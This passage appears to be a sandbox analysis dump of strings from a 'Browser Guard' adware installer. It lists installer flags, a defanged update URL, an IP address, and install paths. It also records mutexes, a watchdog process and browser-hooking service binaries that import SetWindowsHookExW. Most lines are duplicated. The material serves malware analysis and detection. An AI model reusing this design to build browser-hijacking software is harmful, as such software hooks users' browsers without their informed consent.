ation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

ation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

%Program Files%\Bench\Updater

%Program Files%\Bench\Updater

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe"

%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard

%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard

firefox

firefox

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

ins1.tmp.exe

ins1.tmp.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox

%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox

1461742877

1461742877

/product-name="Browser Guard" /installation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

/product-name="Browser Guard" /installation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

695230:2016

695230:2016

1461732077

1461732077

%Program Files%\Bench\Wd

%Program Files%\Bench\Wd

ocal Settings\Application Data\Browser Guard\firefox

ocal Settings\Application Data\Browser Guard\firefox

Nullsoft Install System v2.46

Nullsoft Install System v2.46

nsis-reporter/0.1

nsis-reporter/0.1

%Documents and Settings%\%current user%\Start Menu\Programs\Browser Guard\Uninstall.lnk

%Documents and Settings%\%current user%\Start Menu\Programs\Browser Guard\Uninstall.lnk

nKERNEL32.DLL

nKERNEL32.DLL

mscoree.dll

mscoree.dll

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

Advapi32.dll

Advapi32.dll

der.exe

der.exe

1.0.0.0

1.0.0.0

ins1.tmp.exe_908_rwx_10004000_00001000:

callback%d

callback%d

bservice.exe_1236:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

operator

operator

GetProcessWindowStation

GetProcessWindowStation

bservice.pdb

bservice.pdb

KERNEL32.dll

KERNEL32.dll

SetWindowsHookExW

SetWindowsHookExW

UnhookWindowsHookEx

UnhookWindowsHookEx

USER32.dll

USER32.dll

SHLWAPI.dll

SHLWAPI.dll

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

? ?$?(?,?0?4?8?

? ?$?(?,?0?4?8?

4 4@4`4|4

4 4@4`4|4

nKERNEL32.DLL

nKERNEL32.DLL

mscoree.dll

mscoree.dll

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

bhelper.dll

bhelper.dll

Global\{4B5DC379-ED06-4552-A736-414A1570C24F}_bhelper_mutex0

Global\{4B5DC379-ED06-4552-A736-414A1570C24F}_bhelper_mutex0

%Program Files%\Bench\BService\1.1\bservice.exe

%Program Files%\Bench\BService\1.1\bservice.exe

fservice.exe_1652:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

operator

operator

GetProcessWindowStation

GetProcessWindowStation

D:\Work\canvas-kango\misc\FirefoxHook\bin\fservice.pdb

D:\Work\canvas-kango\misc\FirefoxHook\bin\fservice.pdb

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExW

USER32.dll

USER32.dll

SHLWAPI.dll

SHLWAPI.dll

GetCPInfo

GetCPInfo

zcÁ

zcÁ

9 9$9(9,90949~9

9 9$9(9,90949~9

8Ÿ9l9x9

8Ÿ9l9x9

Amscoree.dll

Amscoree.dll

- floating point support not loaded

- floating point support not loaded

- CRT not initialized

- CRT not initialized

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

kernel32.dll

kernel32.dll

USER32.DLL

USER32.DLL

@fhelper.dll

@fhelper.dll

lGlobal\{99C44C16-7756-43C1-8225-7AA442EA393E}_fhelper_mutex0

lGlobal\{99C44C16-7756-43C1-8225-7AA442EA393E}_fhelper_mutex0

%Program Files%\Bench\FService\1.1\fservice.exe

%Program Files%\Bench\FService\1.1\fservice.exe

wd.exe_1916:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

operator

operator

GetProcessWindowStation

GetProcessWindowStation

wd.pdb

wd.pdb

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteW

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

zcÁ

zcÁ

: :$:(:,:0:4:~:

: :$:(:,:0:4:~:

combase.dll

combase.dll

Amscoree.dll

Amscoree.dll

- floating point support not loaded

- floating point support not loaded

- CRT not initialized

- CRT not initialized

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

USER32.DLL

USER32.DLL

kernel32.dll

kernel32.dll

Global\{4B5DC379-ED06-4552-A736-414A1570C24F}_watchdog_mutex0

Global\{4B5DC379-ED06-4552-A736-414A1570C24F}_watchdog_mutex0

\bservice.exe

\bservice.exe

bservice.exe

bservice.exe

\bservice64.exe

\bservice64.exe

bservice64.exe

bservice64.exe

\cservice.exe

\cservice.exe

cservice.exe

cservice.exe

\cservice64.exe

\cservice64.exe

cservice64.exe

cservice64.exe

\fservice.exe

\fservice.exe

fservice.exe

fservice.exe

\fservice64.exe

\fservice64.exe

fservice64.exe

fservice64.exe

%Program Files%\Bench\Wd\wd.exe

%Program Files%\Bench\Wd\wd.exe